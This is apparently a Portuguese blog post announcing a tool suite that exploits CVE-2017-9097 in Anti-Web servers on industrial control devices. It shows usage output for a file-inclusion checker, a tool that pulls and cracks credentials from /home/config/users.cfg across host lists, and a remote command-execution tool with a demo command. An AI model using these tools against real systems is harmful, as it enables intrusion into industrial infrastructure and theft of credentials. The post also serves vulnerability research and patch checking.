
Suíte de ferramentas que aproveitam o CVE-2017-9097 (+RCE)
Uma vulnerabilidade foi encontrada em aplicações web associadas a ICS/OT que rodam em servidores Anti-Web (até sua versão 3.8.7). As vulnerabilidades que foram identificadas afetam vários fabricantes de renome na indústria de automação de processos industriais e telecomunicações. Estes dispositivos já contam com dois CVEs similares e antigos (CVE-2010-4730 & CVE-2010-4733), e após reportar, obteve-se um terceiro CVE (CVE-2017-9097), e imediatamente o fornecedor lançou um patch. Em seguida, outros se seguiram.
Para ter uma referência aproximada do grau de exposição que estes dispositivos possuem, nos valemos dos hosts que se encontram indexados no Shodan, sendo estes um pouco mais de 800 dispositivos potencialmente vulneráveis.

Com relação ao LFI que nossa ferramenta procura explorar, hoje os diversos fornecedores afetados já possuem seus respectivos patches oficiais que contornam a vulnerabilidade. Portanto, de certa forma, tentar explorar a falha vem a corroborar o compromisso dos operadores e responsáveis por essas tecnologias, respondendo a uma pergunta fundamental: "Os patches correspondentes foram instalados?"
Uma das primeiras ferramentas procura explorar e corroborar a existência de um LFI. Uma segunda ferramenta tentará tirar proveito do LFI, pegando o arquivo onde são armazenadas as credenciais que dão acesso ao painel web. Onde os usernames estão em texto plano e as senhas estão hashadas com MD5, que a ferramenta tentará quebrar. E, finalmente, uma última ferramenta que explorará um RCE.
usr@pwn:~$ git clone https://github.com/ezelf/AntiWeb_testing-Suite
usr@pwn:~$ cd AntiWeb_testing-Suite
usr@pwn:~$ ls -l
total 16
drwxr-xr-x 4 root root 4096 sep 14 21:05 LFI
drwxr-xr-x 4 root root 4096 sep 14 21:05 RCE
-rwxrwxr-x 1 root root 1852 sep 24 08:42 README.md
drwxr-xr-x 3 root root 4096 sep 24 08:00 seekAndDestroy
Simplesmente corrobora a existência do LFI, consultando alguns paths predefinidos e/ou dando a possibilidade ao usuário de passar seu próprio path.
Opcionalmente, pode-se passar um cookie de sessão (válido).
usr@pwn:~$ python anti-web-v1.py --help
usage: anti-web.py [-h] [-v] --host HOST [--port PORT] [--file LFI]
[+] CVE: CVE-2017-9097
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST host
--port PORT Set port (default = 80)
--file LFI Test LFI
-ck COOKIE Set Cookie
[+] Demo: anti-web.py --host 192.168.1.100 --port 80

Esta ferramenta procura dar um bom uso ao LFI. Para isso, aponta para o arquivo "/home/config/users.cfg" onde se encontram as credenciais que permitem o acesso à aplicação web.

"Seek And Destroy" faz o parsing deste arquivo, identifica o hash que corresponde à concatenação da senha e seu usuário passado pela função de hash MD5. Com listas pré-calculadas, irá descobrir o que se esconde por trás desses hashes.

Poderá atacar individualmente um único host ou uma lista deles.
usr@pwn:~$ python seekAndDestroy.py --help
usage: seekAndDestroy.py [-h] [-v] [--host HOST] [--list HOST_LIST]
[--port PORT]
[+] Obtain and break the credentials of your industrial control system .
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST host
--list HOST_LIST hosts
--port PORT set port (default = 80)
[+] Usage: seelAndDestroy.py --list host_list.txt --port 8080
E chegamos ao que talvez seja a mais interessante: a possibilidade de executar comandos do sistema operacional do hardware que suporta o sistema vulnerável. *** "Do HTTP à Shell" ***
.

#### continua... (amanhã é segunda-feira. xd)
usr@pwn:~$ python rce.py --help
usage: RCE.py [-h] [-v] --host HOST [--port PORT] -ck COOKIE --cmd COMMAND
[+] COMMANDS over your industrial control system .
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST Host
--port PORT Port
-ck COOKIE Cookie
--cmd COMMAND Command
[+] Demo: python rce.py --host <host> -ck <sessionCookie> --cmd "ls -la /"
....Aguarde
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9097
* https://ics-cert.us-cert.gov/advisories/ICSA-17-222-05
* https://www.seebug.org/vuldb/ssvid-96555 (RCE)
* https://www.seebug.org/vuldb/ssvid-96556 (LFI)
* https://vuldb.com/es/?id.102570
* https://github.com/hoytech/antiweb/
* https://nvd.nist.gov/vuln/detail/CVE-2017-9097
* https://www.9165619.com/vulnerability/cve-2017-9097-89702
* http://old.cnnvd.org.cn/vulnerability/show/cv_id/2017051027
* http://jvndb.jvn.jp/ja/contents/2017/JVNDB-2017-005240.html
* http://plugins.openvas.org/nasl.php?oid=106886 (*down)
* http://webcache.googleusercontent.com/search?q=cache:Z1VaYjaZLB4J:plugins.openvas.org/nasl.php%3Foid%3D106886+&cd=1&hl=es-419&ct=clnk&gl=cl
''' [+] CVE-2009-4462 ( Intellicom NetBiterConfig.exe ) [+] CVE-2009-4463 ( Intellicom NetBiterConfig.exe ) (http://blog.48bits.com/exposing-hms-hicp-protocol-0day-light/)
[+] CVE-2010-4730 ( Directory traversal vulnerability in cgi-bin/read.cgi in WebSCADA )
[+] CVE-2010-4731 ( Absolute path traversal vulnerability in cgi-bin/read.cgi in WebSCADA )
[+] CVE-2010-4732 ( RCE, using a config.html 2.conf action to replace the logo page's GIF image file )
[+] CVE-2010-4733 ( default username and password to obtain superadmin access via the web interface )
Intellicom NetBiter products based on the NB100 and NB200 platforms, including:
WebSCADA (WS100)
WebSCADA (WS200)
Easy Connect (EC150)
Modbus RTU – TCP Gateway (MB100)
Serial Ethernet Server (SS100).
* https://ics-cert.us-cert.gov/advisories/ICSA-10-316-01A
'''
As ferramentas em questão estão em (AntiWeb_testing-Suite): https://github.com/ezelf/AntiWeb_testing-Suite/
Vídeo que combina as três ferramentas em sua primeira versão beta: https://www.youtube.com/watch?v=HdkZA1DO08Y